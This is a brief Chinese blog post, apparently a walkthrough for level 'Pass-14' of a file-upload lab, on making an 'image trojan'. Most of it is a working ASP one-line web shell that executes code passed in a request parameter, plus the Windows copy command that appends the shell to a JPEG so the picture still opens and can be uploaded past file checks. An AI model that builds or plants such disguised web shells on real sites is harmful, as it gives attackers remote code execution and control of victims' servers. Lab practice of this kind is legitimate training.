Pass-14
图片马指的是代码写入后不破坏图片为前提,图片仍可正常打开。
制作图片马
我把图片命名为1.jpg
接下来写一句话木马
新建一个2.asp文件，写入一句话木马
<%Y=request("xindong")%> <%execute(Y)%>
然后在win+R，cmd，cd到原始图片的目录路径下
copy 1.jpg/b+2.asp/a 3.jpg
桌面上出现新的图片就是制作出的图片马
传图片马
文章介绍了如何制作图片马，即在图片中嵌入ASP的一句话木马，通过命令行执行文件操作将恶意代码合并到图片中，形成可正常打开但包含潜在威胁的新图片。这种方法展示了代码注入的一种策略，强调了网络安全的重要性。
扫一扫
1348
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
